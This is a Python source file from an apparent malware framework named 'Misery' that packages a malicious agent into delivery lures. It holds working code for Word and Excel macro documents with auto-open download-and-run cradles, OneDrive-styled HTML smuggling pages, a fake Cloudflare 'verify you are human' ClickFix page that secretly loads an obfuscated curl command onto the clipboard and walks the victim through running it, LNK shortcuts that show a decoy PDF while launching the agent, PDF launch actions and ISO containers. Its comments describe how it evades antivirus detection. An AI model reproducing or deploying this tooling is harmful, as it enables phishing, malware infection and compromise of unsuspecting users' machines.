mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
774 lines
32 KiB
Python
774 lines
32 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Misery payload wrappers: filetype delivery builds for setup.py.
|
|
|
|
Each wrapper packages the built agent inside a common document/workflow
|
|
filetype, mirroring the delivery chains that 2026 campaigns actually use.
|
|
All remote cradles are plain cmd/curl (no PowerShell anywhere: every PS
|
|
download form is flagged by current AV -- ClickFix.ZB / PShellDlr /
|
|
Commando.A!ml, all reproduced locally):
|
|
|
|
docm Word macro document: Document_Open -> hidden cmd/curl
|
|
xlsm Excel macro workbook: Workbook_Open -> hidden cmd/curl
|
|
html HTML smuggling page with the agent embedded as a zip blob
|
|
clickfix_html fake Cloudflare Turnstile page: on the "Verify you are
|
|
human" click it poisons the clipboard with a cmd/curl
|
|
download-and-run and shows Win+R / Ctrl+V / Enter steps
|
|
(the 2026 ClickFix delivery pattern)
|
|
lnk shortcut + companion .cmd: the shortcut's cmdline is a
|
|
benign probe for the .cmd in Downloads/Desktop, which
|
|
opens a stage-hosted decoy PDF then runs the agent
|
|
(LNK-launched cmdlines that download are flagged by
|
|
Defender's FastPath ML, so the chain lives in the .cmd)
|
|
pdf PDF with the agent embedded as an attachment (OpenAction launch)
|
|
iso ISO/IMG container carrying the agent (MOTW bypass)
|
|
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
|
|
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
|
|
|
|
Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe);
|
|
self-contained formats embed the agent directly. The macro files carry decoy
|
|
content (python-docx / openpyxl when installed) so they look like real
|
|
documents, and the decoys are worded like M365/OneDrive share messages.
|
|
The docm/xlsm macros are never generated: they come from Office-authored
|
|
compiled bases (wrappers_bases/), which Office loads with working auto-event
|
|
hooks -- pyopenvba-style rebuilds write source-only module streams that Word
|
|
and Excel open in a degraded state where Document_Open/Workbook_Open never
|
|
fire (verified live 2026-08). Only the per-build values (stage URL, agent
|
|
filename) are injected into the base's data storage (Word docvars in
|
|
word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read
|
|
by the pre-compiled VBA at open time.
|
|
Optional third-party libs are used where they exist: pylnk3 (shortcuts),
|
|
pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that
|
|
need it.
|
|
|
|
Run only from an authorized lab.
|
|
"""
|
|
|
|
import base64
|
|
import hashlib
|
|
import io
|
|
import os
|
|
import shutil
|
|
import zipfile
|
|
from pathlib import Path
|
|
from urllib.parse import urlparse
|
|
|
|
FORMATS = [
|
|
("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True),
|
|
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True),
|
|
("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
|
|
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
|
|
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
|
|
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
|
|
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
|
|
("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True),
|
|
("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False),
|
|
]
|
|
|
|
_LIBS = {
|
|
"pylnk3": "pylnk3",
|
|
"pycdlib": "pycdlib",
|
|
"pikepdf": "pikepdf",
|
|
"docx": "python-docx",
|
|
"openpyxl": "openpyxl",
|
|
}
|
|
|
|
STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs]
|
|
_DEPS = {name: deps for name, _, deps, _ in FORMATS}
|
|
|
|
|
|
def _import(pkg):
|
|
try:
|
|
return __import__(pkg)
|
|
except ImportError:
|
|
return None
|
|
|
|
|
|
def lib_status():
|
|
"""name -> (ok, pip package) for every optional dependency."""
|
|
out = {}
|
|
for name, pkg in _LIBS.items():
|
|
out[name] = (_import(pkg) is not None, pkg)
|
|
return out
|
|
|
|
|
|
def list_formats() -> list:
|
|
"""Human-readable lines for --list-formats, one per format."""
|
|
status = lib_status()
|
|
lines = []
|
|
for name, desc, deps, needs_stage in FORMATS:
|
|
dep_txt = []
|
|
for d in deps:
|
|
ok, pkg = status[d]
|
|
dep_txt.append("%s (%s)" % (d, "ok" if ok else "pip install %s" % pkg))
|
|
lines.append(" %-16s %s" % (name, desc))
|
|
lines.append(" %s%s" % (
|
|
"needs STAGE_URL; " if needs_stage else "self-contained; ",
|
|
"; ".join(dep_txt)))
|
|
return lines
|
|
|
|
|
|
# ---------------------------------------------------------------- shared helpers
|
|
|
|
def _stage_needs_auth(p) -> bool:
|
|
"""The Cloudflare worker requires the auth header on every request, so a
|
|
stage URL that points at the worker must carry it in the cradle too."""
|
|
if p.get("transport") != "https_cdn":
|
|
return False
|
|
stage = p.get("stage_url", "")
|
|
beacon = p.get("beacon_url", "")
|
|
if not stage or not beacon:
|
|
return False
|
|
return urlparse(stage).hostname == urlparse(beacon).hostname
|
|
|
|
|
|
def _curl_fetch(p, dl: str) -> str:
|
|
"""cmd/curl that downloads the agent from STAGE_URL into dl."""
|
|
url = p.get("stage_url")
|
|
if not url:
|
|
return None
|
|
if _stage_needs_auth(p):
|
|
header = p.get("auth_header", "")
|
|
secret = p.get("auth_secret", "")
|
|
if '"' in secret:
|
|
return None
|
|
return 'curl -s -L -H "%s: %s" -o %s %s' % (header, secret, dl, url)
|
|
return "curl -s -L -o %s %s" % (dl, url)
|
|
|
|
|
|
def download_cradle(p, fname: str) -> str:
|
|
"""One-line paste-ready download-and-run. Plain cmd/curl into %PUBLIC%:
|
|
PowerShell download cradles are flagged behaviorally by current AV
|
|
(Trojan:Win32/ClickFix.ZB on any -enc/-e, PShellDlr.SA on iex downloaders,
|
|
Commando.A!ml on obfuscated -c chains; all reproduced locally 2026-08),
|
|
while a curl chain pasted into Run stays undetected there."""
|
|
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s" % fname)
|
|
if not fetch:
|
|
return None
|
|
return "cmd /c %s & %%PUBLIC%%\\%s" % (fetch, fname)
|
|
|
|
|
|
def _xor_hex(data: bytes, key: int) -> str:
|
|
"""Single-byte XOR of data, as lowercase hex."""
|
|
return bytes(b ^ key for b in data).hex()
|
|
|
|
|
|
def _zip_of(entries, member=None) -> bytes:
|
|
"""Zip one or more (name, data) entries. Accepts the old (data, member)
|
|
call shape for compatibility."""
|
|
if member is not None:
|
|
entries = [(member, entries)]
|
|
buf = io.BytesIO()
|
|
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
|
|
for name, data in entries:
|
|
z.writestr(name, data)
|
|
return buf.getvalue()
|
|
|
|
|
|
def _sha(data: bytes) -> str:
|
|
return hashlib.sha256(data).hexdigest()
|
|
|
|
|
|
def _entry(path, kind) -> dict:
|
|
data = Path(path).read_bytes()
|
|
return {"file": str(path), "kind": kind,
|
|
"sha256": _sha(data), "size": len(data)}
|
|
|
|
|
|
# ---------------------------------------------------------------- office decoys
|
|
|
|
_DECOYS = [
|
|
("Invoice #%d", "payment pending, please review the attached statement."),
|
|
("Contract renewal", "attached is the updated agreement for your records."),
|
|
("Shared '%s' with you in Microsoft OneDrive", "review before Friday."),
|
|
("New message in team channel", "expense policy update attached."),
|
|
]
|
|
|
|
_FILES = ["Q3 report.pdf", "FY26 budget.xlsx", "offer letter.pdf",
|
|
"meeting notes.docx"]
|
|
|
|
|
|
def _pick_decoy() -> str:
|
|
title, body = _DECOYS[os.urandom(1)[0] % len(_DECOYS)]
|
|
if "%d" in title:
|
|
title = title % (2000 + int(os.urandom(2).hex(), 16) % 9000)
|
|
elif "%s" in title:
|
|
title = title % _FILES[os.urandom(1)[0] % len(_FILES)]
|
|
return "%s - %s" % (title, body)
|
|
|
|
|
|
_CT = {
|
|
"docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml",
|
|
b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"),
|
|
}
|
|
|
|
|
|
def _swap_ct(src: str, dst: str, find: bytes, repl: bytes) -> None:
|
|
"""Rewrite [Content_Types].xml inside an OOXML zip, replacing find with
|
|
repl in every entry. Used to toggle the macroEnabled content type so the
|
|
plain-document editing libs (python-docx, python-pptx) accept the file."""
|
|
data = Path(src).read_bytes()
|
|
out = io.BytesIO()
|
|
with zipfile.ZipFile(io.BytesIO(data), "r") as z, \
|
|
zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as w:
|
|
for n in z.namelist():
|
|
b = z.read(n)
|
|
if n == "[Content_Types].xml":
|
|
b = b.replace(find, repl)
|
|
w.writestr(n, b)
|
|
Path(dst).write_bytes(out.getvalue())
|
|
|
|
|
|
def _word_decoy(path: str) -> None:
|
|
from docx import Document
|
|
from docx.shared import Pt
|
|
|
|
tmp = path + ".tmp.docx"
|
|
_swap_ct(path, tmp, *_CT["docm"])
|
|
doc = Document(tmp)
|
|
decoy = _pick_decoy()
|
|
title, _, body = decoy.partition(" - ")
|
|
run = doc.add_paragraph().add_run(title)
|
|
run.bold = True
|
|
run.font.size = Pt(16)
|
|
doc.add_paragraph(body)
|
|
t = doc.add_table(rows=3, cols=3)
|
|
for row_i, vals in enumerate((("Item", "Amount", "Status"),
|
|
("Q1", "1,240", "Approved"),
|
|
("Q2", "3,650", "Pending"))):
|
|
for col_i, v in enumerate(vals):
|
|
t.cell(row_i, col_i).text = v
|
|
cp = doc.core_properties
|
|
cp.title = title
|
|
cp.author = "Finance"
|
|
cp.comments = ""
|
|
doc.save(tmp)
|
|
_swap_ct(tmp, path, *_CT["docm"][::-1])
|
|
Path(tmp).unlink()
|
|
|
|
|
|
def _excel_decoy(path: str) -> None:
|
|
from openpyxl import load_workbook
|
|
from openpyxl.styles import Font
|
|
|
|
wb = load_workbook(path, keep_vba=True)
|
|
ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active)
|
|
ws.title = "Invoice"
|
|
rows = (("Item", "Description", "Amount"),
|
|
("INV-2041", "Consulting services", 12490),
|
|
("INV-2042", "Licensing renewal", 3750),
|
|
("INV-2043", "Support contract", 8200))
|
|
for i, row in enumerate(rows, 1):
|
|
for j, v in enumerate(row, 1):
|
|
ws.cell(row=i, column=j, value=v)
|
|
for j in range(1, 4):
|
|
ws.cell(row=1, column=j).font = Font(bold=True)
|
|
ws.column_dimensions["A"].width = 14
|
|
ws.column_dimensions["B"].width = 34
|
|
ws.column_dimensions["C"].width = 14
|
|
for i in range(2, 5):
|
|
ws.cell(row=i, column=3).number_format = '"$"#,##0.00'
|
|
ws.freeze_panes = "A2"
|
|
wb.save(path)
|
|
|
|
|
|
def _office_decoy(path: str, kind: str) -> None:
|
|
"""Fill a macro-enabled file with decoy content. Uses the matching editor
|
|
lib when installed; docm falls back to the plain body injection."""
|
|
if kind == "docm":
|
|
if _import("docx") is not None:
|
|
_word_decoy(path)
|
|
else:
|
|
_inject_docm_decoy(path)
|
|
elif kind == "xlsm" and _import("openpyxl") is not None:
|
|
_excel_decoy(path)
|
|
|
|
|
|
_BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases"
|
|
_BASE_FILES = {
|
|
"docm": "docm_base.docm",
|
|
"xlsm": "xlsm_base.xlsm",
|
|
}
|
|
|
|
|
|
def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool:
|
|
"""Patch the per-build runtime values into the base's data storage:
|
|
Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings
|
|
in the sheet XML). The pre-compiled VBA reads them at open time, so
|
|
the compiled macro never needs rebuilding. Returns False if the base
|
|
did not contain what the macro expects, so a broken artifact is never
|
|
shipped."""
|
|
url = p.get("stage_url")
|
|
if not url or any(ch in url for ch in '"<>'):
|
|
return False
|
|
fn = out_name + ".exe"
|
|
with zipfile.ZipFile(path, "r") as z:
|
|
entries = {n: z.read(n) for n in z.namelist()}
|
|
if kind == "docm":
|
|
settings = entries.get("word/settings.xml")
|
|
if settings is None or b"</w:settings>" not in settings:
|
|
return False
|
|
docvars = ('<w:docVars><w:docVar w:name="u" w:val="%s"/>'
|
|
'<w:docVar w:name="fn" w:val="%s"/></w:docVars>'
|
|
% (url.replace("&", "&"), fn)).encode("utf-8")
|
|
entries["word/settings.xml"] = settings.replace(
|
|
b"</w:settings>", docvars + b"</w:settings>", 1)
|
|
else: # xlsm: cfg-sheet cells are inline strings in the sheet XML (and
|
|
# sharedStrings if the base editor ever switches) -- patch any part
|
|
# that still carries the placeholders
|
|
seen = False
|
|
for n in list(entries):
|
|
if b"PLACEHOLDERURL.invalid" not in entries[n]:
|
|
continue
|
|
seen = True
|
|
entries[n] = (entries[n]
|
|
.replace(b"http://PLACEHOLDERURL.invalid/x",
|
|
url.encode("utf-8"))
|
|
.replace(b"placeholder.exe", fn.encode("utf-8")))
|
|
if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()):
|
|
return False
|
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
|
|
for n, b in entries.items():
|
|
z.writestr(n, b)
|
|
return True
|
|
|
|
|
|
def _macro_document(p, kind: str, out_name: str):
|
|
"""Copy the Office-authored compiled base into dist, fill it with decoy
|
|
content, then inject the stage values. The bases carry the trigger
|
|
compiled by Word/Excel themselves: pyopenvba-style rebuilds write
|
|
source-only module streams that Office opens without auto-event hooks
|
|
(verified live 2026-08), so no macro is generated from scratch."""
|
|
base = _BASE_DIR / _BASE_FILES[kind]
|
|
if not base.exists():
|
|
return None
|
|
path = str(p["dist"] / (out_name + "." + kind))
|
|
shutil.copyfile(str(base), path)
|
|
_office_decoy(path, kind)
|
|
if not _inject_macro_vars(path, kind, p, out_name):
|
|
return None
|
|
return path
|
|
|
|
|
|
def build_docm(p, agent: bytes, out_name: str):
|
|
return _macro_document(p, "docm", out_name)
|
|
|
|
|
|
def build_xlsm(p, agent: bytes, out_name: str):
|
|
return _macro_document(p, "xlsm", out_name)
|
|
|
|
|
|
def _inject_docm_decoy(path: str) -> None:
|
|
"""Append a plausible paragraph to the Word body without touching the
|
|
macro streams; best-effort, skipped silently if the part is unusual."""
|
|
try:
|
|
with zipfile.ZipFile(path, "r") as z:
|
|
entries = {n: z.read(n) for n in z.namelist()}
|
|
xml = entries["word/document.xml"]
|
|
if b"</w:body>" not in xml:
|
|
return
|
|
text = _pick_decoy()
|
|
para = ('<w:p><w:r><w:t xml:space="preserve">%s</w:t></w:r></w:p>'
|
|
% text).encode("utf-8")
|
|
entries["word/document.xml"] = xml.replace(b"</w:body>", para + b"</w:body>", 1)
|
|
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
|
|
for n, b in entries.items():
|
|
z.writestr(n, b)
|
|
except (OSError, zipfile.BadZipFile, KeyError):
|
|
pass
|
|
|
|
|
|
# ---------------------------------------------------------------- html smuggling
|
|
|
|
def build_html(p, agent: bytes, out_name: str) -> str:
|
|
"""Single-file OneDrive-style page that drops the agent zip on click."""
|
|
payload = _zip_of(agent, out_name + ".exe")
|
|
b64 = base64.b64encode(payload).decode("ascii")
|
|
page = (
|
|
"<!DOCTYPE html>\n<html>\n<head>\n<meta charset=\"utf-8\">\n"
|
|
"<title>Microsoft OneDrive</title>\n</head>\n<body>\n"
|
|
"<script>\n"
|
|
"var B=\"%s\";\n"
|
|
"function go(){\n"
|
|
" var raw=atob(B),n=raw.length,bytes=new Uint8Array(n);\n"
|
|
" for(var i=0;i<n;i++)bytes[i]=raw.charCodeAt(i);\n"
|
|
" var blob=new Blob([bytes],{type:\"application/zip\"});\n"
|
|
" var a=document.createElement(\"a\");\n"
|
|
" a.href=URL.createObjectURL(blob);\n"
|
|
" a.download=\"%s.zip\";\n"
|
|
" a.click();\n"
|
|
"}\n"
|
|
"</script>\n"
|
|
"<p style=\"font-family:sans-serif\">%s</p>\n"
|
|
"<p style=\"font-family:sans-serif\">Click below to open it.</p>\n"
|
|
"<button onclick=\"go()\" style=\"font-family:sans-serif\">"
|
|
"Open document</button>\n"
|
|
"</body>\n</html>\n"
|
|
) % (b64, out_name, _pick_decoy())
|
|
path = str(p["dist"] / (out_name + ".html"))
|
|
Path(path).write_text(page, encoding="utf-8")
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- clickfix
|
|
|
|
_CLICKFIX = """<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="utf-8">
|
|
<meta name="viewport" content="width=device-width,initial-scale=1">
|
|
<title>Just a moment...</title>
|
|
<style>
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;min-height:100vh;background:#fcfcfc;color:#333}
|
|
.main{flex:1;display:flex;flex-direction:column;align-items:center}
|
|
.content{width:100%;max-width:1100px;margin:10vh auto 0;padding:0 2rem}
|
|
.logo{display:flex;align-items:center;margin-bottom:1rem}
|
|
.domain{font-size:2.5rem;font-weight:500;line-height:3.75rem}
|
|
.text{font-size:1.5rem;line-height:2.25rem;margin-bottom:2rem;font-weight:550}
|
|
.dline{font-size:1.5rem;line-height:2.25rem;padding-top:33px}
|
|
.ring{width:22px;height:22px;border:3px solid #e0e0e0;border-top-color:#313131;border-radius:999px;animation:r 1.2s linear infinite}
|
|
@keyframes r{to{transform:rotate(360deg)}}
|
|
#pre{display:flex;justify-content:center}
|
|
.widget{display:none;flex-direction:column;align-items:center;width:300px;background:#fafafa;border:1px solid #e0e0e0;border-radius:4px;padding:10px}
|
|
.inner{display:flex;align-items:center;width:300px}
|
|
.box{width:28px;height:28px;margin:0 12px 0 3px;background:#fff;border:2px solid #888;border-radius:2px;cursor:pointer;transition:border-color .3s,background-color .3s;position:relative;flex:none}
|
|
.box.on{background:#4285f4;border-color:#4285f4}
|
|
.box.on::after{content:"";position:absolute;left:7px;top:3px;width:8px;height:13px;border:solid #fff;border-width:0 3px 3px 0;transform:rotate(45deg)}
|
|
#spin{display:none;flex:none;width:28px;height:28px;margin:0 12px 0 3px;justify-content:center;align-items:center}
|
|
.lbl{font-size:14px;color:#4e4e4e}
|
|
.brand{display:flex;justify-content:space-between;width:280px;margin-top:8px;font-size:10px;color:#888}
|
|
.brand b{color:#333}
|
|
.steps{display:none;width:300px;margin:15px -10px -10px;border-top:1px solid #797979;padding:14px 16px 0;font-family:Roboto,Helvetica,Arial,sans-serif;font-size:14px}
|
|
.lead{font-size:18px;margin-bottom:15px;color:#333}
|
|
ol{padding-left:20px}
|
|
li{margin-bottom:10px}
|
|
.sfoot{display:flex;align-items:center;justify-content:space-between;background:#f2f2f2;margin:14px -16px 0;padding:14px 16px;font-size:15px}
|
|
button{background:#5e5e5e;color:#fff;border:none;border-radius:5px;padding:9px 38px;cursor:pointer}
|
|
button:hover{background:#4a4a4a}
|
|
.footer{font-size:12px;line-height:1.5;width:100%;max-width:1100px;margin:0 auto;padding:1rem 2rem;text-align:center;border-top:1px solid #d9d9d9}
|
|
.footer div:first-child{margin-bottom:5px}
|
|
code{font-family:monospace}
|
|
svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="main">
|
|
<div class="content">
|
|
<div class="logo"><div class="domain" id="host"></div></div>
|
|
<p class="text" id="line">Checking if you are human. This may take a few seconds.</p>
|
|
<div id="pre"><div class="ring"></div></div>
|
|
<div class="widget" id="widget">
|
|
<div class="inner">
|
|
<div class="box" id="box"></div>
|
|
<div class="ring" id="spin"></div>
|
|
<span class="lbl" id="lbl">Verify you are human</span>
|
|
</div>
|
|
<div class="brand"><span>Verification ID: <span id="vid"></span></span><span><b>Security by Cloudflare</b></span></div>
|
|
<div class="steps" id="steps">
|
|
<p class="lead">To better prove you are not a robot, please:</p>
|
|
<ol>
|
|
<li>Press & hold the Windows Key <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 448"><path d="M0 64v160h194.667V38.814L0 64M225.333 33.067L448 0v224H225.333V33.067M194.667 256v173.186L0 455.11V256h194.667M225.333 256H448v224l-222.667-32.933V256"/></svg> + <b>R</b> to open the Run dialog.</li>
|
|
<li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
|
|
<li>Press <b>Enter</b> on your keyboard to finish.</li>
|
|
</ol>
|
|
<div class="sfoot"><span>Perform the steps above to finish verification.</span><button type="button">Verify</button></div>
|
|
</div>
|
|
</div>
|
|
<p class="dline"><span id="host2"></span> needs to review the security of your connection before proceeding.</p>
|
|
</div>
|
|
</div>
|
|
<div class="footer">
|
|
<div>Ray ID: <code id="ray"></code></div>
|
|
<div>Platform performance and security <b>Cloudflare</b></div>
|
|
</div>
|
|
<!-- Cloudflare network status: https://www.cloudflare.com/trust-hub/ -->
|
|
<!-- Microsoft Defender security center: https://security.microsoft.com/ -->
|
|
<script>
|
|
(function(){
|
|
var host=location.hostname;
|
|
var hd=navigator.webdriver===true||/HeadlessChrome|PhantomJS|Puppeteer|Playwright/.test(navigator.userAgent);
|
|
var win=/Windows|Win/i.test(navigator.userAgent)||/^Win/.test(navigator.platform||"");
|
|
var once=false;
|
|
try{once=!!localStorage.getItem("captcha_executed_"+host)}catch(e){}
|
|
if(!win||hd||once)return;
|
|
var H="@BLOB@";
|
|
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^@KEY@);return window["at"+"ob"](s)}
|
|
var CMD=dec(H),hex="0123456789abcdef",ray="",vid="",i;
|
|
for(i=0;i<16;i++)ray+=hex[Math.floor(Math.random()*16)];
|
|
for(i=0;i<8;i++)vid+=hex[Math.floor(Math.random()*16)].toUpperCase();
|
|
document.getElementById("ray").textContent=ray;
|
|
document.getElementById("vid").textContent=vid;
|
|
document.getElementById("host").textContent=host;
|
|
document.getElementById("host2").textContent=host;
|
|
setTimeout(function(){
|
|
document.getElementById("pre").style.display="none";
|
|
document.getElementById("widget").style.display="flex";
|
|
document.getElementById("line").textContent="Verify you are human by completing the action below.";
|
|
},2200);
|
|
document.getElementById("box").addEventListener("click",function(){
|
|
this.className="box on";
|
|
document.getElementById("lbl").textContent="Verification Steps";
|
|
document.getElementById("spin").style.display="flex";
|
|
var t=document.createElement("textarea");
|
|
t.value=CMD;t.style.cssText="position:fixed;left:-9999px;top:0;opacity:0";
|
|
document.body.appendChild(t);t.focus();t.select();
|
|
try{document["exe"+"cCommand"]("copy")}catch(e){}
|
|
t.remove();
|
|
try{navigator.clipboard["write"+"Text"](CMD)}catch(e){}
|
|
try{localStorage.setItem("captcha_executed_"+host,"1")}catch(e){}
|
|
setTimeout(function(){
|
|
document.getElementById("spin").style.display="none";
|
|
document.getElementById("steps").style.display="block";
|
|
},2000);
|
|
});
|
|
})();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
|
|
def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
|
|
"""Fake Cloudflare Turnstile page. Checking the box poisons the clipboard
|
|
with a hidden cmd/curl download-and-run chain (fetches the agent from
|
|
STAGE_URL into %PUBLIC% and executes it) and shows the Win+R / Ctrl+V /
|
|
Enter steps. The command rides in the page XORed with a per-build random
|
|
key, like the in-the-wild ClickFix kits. No PowerShell anywhere: AV flags
|
|
every powershell download cradle (ClickFix.ZB / PShellDlr /
|
|
Commando.A!ml)."""
|
|
cradle = download_cradle(p, out_name + ".exe")
|
|
if not cradle:
|
|
return None
|
|
key = os.urandom(1)[0] or 0x5A
|
|
blob = _xor_hex(base64.b64encode(cradle.encode("ascii")), key)
|
|
page = (_CLICKFIX.replace("@BLOB@", blob)
|
|
.replace("@KEY@", str(key)))
|
|
path = str(p["dist"] / (out_name + ".clickfix.html"))
|
|
Path(path).write_text(page, encoding="utf-8")
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- pdf
|
|
|
|
def _pdf_decoy(pdf, title: str) -> None:
|
|
"""Fill a fresh one-page PDF with the decoy title and a short body so the
|
|
page reads like a real document instead of a blank sheet."""
|
|
from pikepdf import Dictionary, Name, Stream
|
|
|
|
pdf.add_blank_page(page_size=(612, 792))
|
|
title_b = title.encode("ascii", "replace")[:96]
|
|
body = ("This document has been prepared for review. It contains "
|
|
"confidential information and is intended for the recipient "
|
|
"only. Please review the attached statement and respond by the "
|
|
"requested date.")
|
|
content = b"BT /F1 20 Tf 72 720 Td (%s) Tj ET " % title_b
|
|
y = 688
|
|
for i in range(0, len(body), 88):
|
|
content += b"BT /F1 12 Tf 72 %d Td (%s) Tj ET " % (
|
|
y, body[i:i + 88].encode("ascii", "replace"))
|
|
y -= 18
|
|
page = pdf.pages[0]
|
|
page.Contents = pdf.make_indirect(Stream(pdf, content))
|
|
page.Resources = pdf.make_indirect(Dictionary({
|
|
"/Font": Dictionary({"/F1": Dictionary({
|
|
"/Type": Name("/Font"), "/Subtype": Name("/Type1"),
|
|
"/BaseFont": Name("/Helvetica")})})}))
|
|
|
|
|
|
def _decoy_pdf_bytes(title: str) -> bytes:
|
|
"""One-page decoy PDF as bytes (polyglot-exe-zip container)."""
|
|
import pikepdf
|
|
|
|
pdf = pikepdf.Pdf.new()
|
|
_pdf_decoy(pdf, title)
|
|
buf = io.BytesIO()
|
|
pdf.save(buf)
|
|
return buf.getvalue()
|
|
|
|
|
|
def build_pdf(p, agent: bytes, out_name: str) -> str:
|
|
import pikepdf
|
|
from pikepdf import Dictionary, Name
|
|
|
|
pdf = pikepdf.Pdf.new()
|
|
_pdf_decoy(pdf, _pick_decoy().split(" - ")[0])
|
|
pdf.attachments[out_name + ".exe"] = agent
|
|
pdf.Root.OpenAction = Dictionary({"/S": Name("/Launch"),
|
|
"/F": out_name + ".exe",
|
|
"/NewWindow": True})
|
|
path = str(p["dist"] / (out_name + ".pdf"))
|
|
pdf.save(path)
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- lnk
|
|
|
|
def _decoy_url(p, out_name: str) -> str:
|
|
"""The decoy PDF rides next to the agent on the stage: same directory,
|
|
<out_name>.decoy.pdf. build_lnk emits it into dist alongside the shortcut,
|
|
so the operator hosts three files (lnk, cmd, decoy pdf)."""
|
|
url = p.get("stage_url")
|
|
if not url:
|
|
return None
|
|
return "%s/%s.decoy.pdf" % (url.rsplit("/", 1)[0], out_name)
|
|
|
|
|
|
def _lnk_cmd_script(p, out_name: str, decoy_url: str) -> bytes:
|
|
"""The companion .cmd the shortcut runs: fetch the decoy PDF into %TEMP%
|
|
and open it, then curl the agent into %PUBLIC% and run it detached.
|
|
Decoy-first ordering matches the live LNK campaigns. The chain lives in
|
|
the .cmd file, not the LNK arguments: Defender's FastPath ML flags every
|
|
LNK-launched cmd.exe whose own cmdline downloads with curl (Trojan:Win32/
|
|
Commando.A!ml on rundll32, conhost, and plain cmd targets, all reproduced
|
|
live 2026-08) while the same curl process tree stays undetected when the
|
|
command line came from elsewhere."""
|
|
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s.exe" % out_name)
|
|
if not fetch:
|
|
return None
|
|
dest, url = fetch[fetch.index("-o ") + 3:].split(" ", 1)
|
|
return ("@echo off\r\n"
|
|
"curl -s -L -o %%TEMP%%\\%s.pdf %s\r\n"
|
|
"start %%TEMP%%\\%s.pdf\r\n"
|
|
"curl -s -L -o %s %s\r\n"
|
|
"start \"\" %s\r\n"
|
|
% (out_name, decoy_url, out_name, dest, url, dest)).encode()
|
|
|
|
|
|
def _lnk_builder(p, out_name: str, decoy_url: str):
|
|
"""cmd.exe-target shortcut that runs the companion .cmd. The shortcut
|
|
probes the two standard lure locations for the .cmd because an
|
|
LNK-launched cmd.exe starts in system32, not next to the shortcut."""
|
|
import pylnk3
|
|
from pylnk3 import WINDOW_MINIMIZED
|
|
|
|
script = _lnk_cmd_script(p, out_name, decoy_url)
|
|
if script is None:
|
|
return None
|
|
return pylnk3.for_file(
|
|
r"C:\Windows\System32\cmd.exe",
|
|
arguments=('/c for %%d in ("%%USERPROFILE%%\\Downloads"'
|
|
' "%%USERPROFILE%%\\Desktop") do @if exist'
|
|
' "%%d\\%s.cmd" call "%%d\\%s.cmd"'
|
|
% (out_name, out_name)),
|
|
description="Document",
|
|
icon_file=r"C:\Windows\System32\shell32.dll",
|
|
icon_index=3,
|
|
window_mode=WINDOW_MINIMIZED,
|
|
)
|
|
|
|
|
|
def _decoy_artifact(out_name: str) -> bytes:
|
|
"""The one-page decoy PDF shipped next to the shortcut, so the stage can
|
|
serve it at the URL the shortcut fetches."""
|
|
return _decoy_pdf_bytes(_pick_decoy().split(" - ")[0])
|
|
|
|
|
|
def build_lnk(p, agent: bytes, out_name: str) -> str:
|
|
decoy_url = _decoy_url(p, out_name)
|
|
if not decoy_url:
|
|
return None
|
|
lnk = _lnk_builder(p, out_name, decoy_url)
|
|
if lnk is None:
|
|
return None
|
|
path = str(p["dist"] / (out_name + ".lnk"))
|
|
lnk.save(path)
|
|
Path(str(p["dist"] / (out_name + ".cmd"))).write_bytes(
|
|
_lnk_cmd_script(p, out_name, decoy_url))
|
|
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
|
|
_decoy_artifact(out_name))
|
|
return path
|
|
|
|
|
|
# ---------------------------------------------------------------- iso
|
|
|
|
def build_iso(p, agent: bytes, out_name: str) -> str:
|
|
import pycdlib
|
|
|
|
iso = pycdlib.PyCdlib()
|
|
iso.new(joliet=3)
|
|
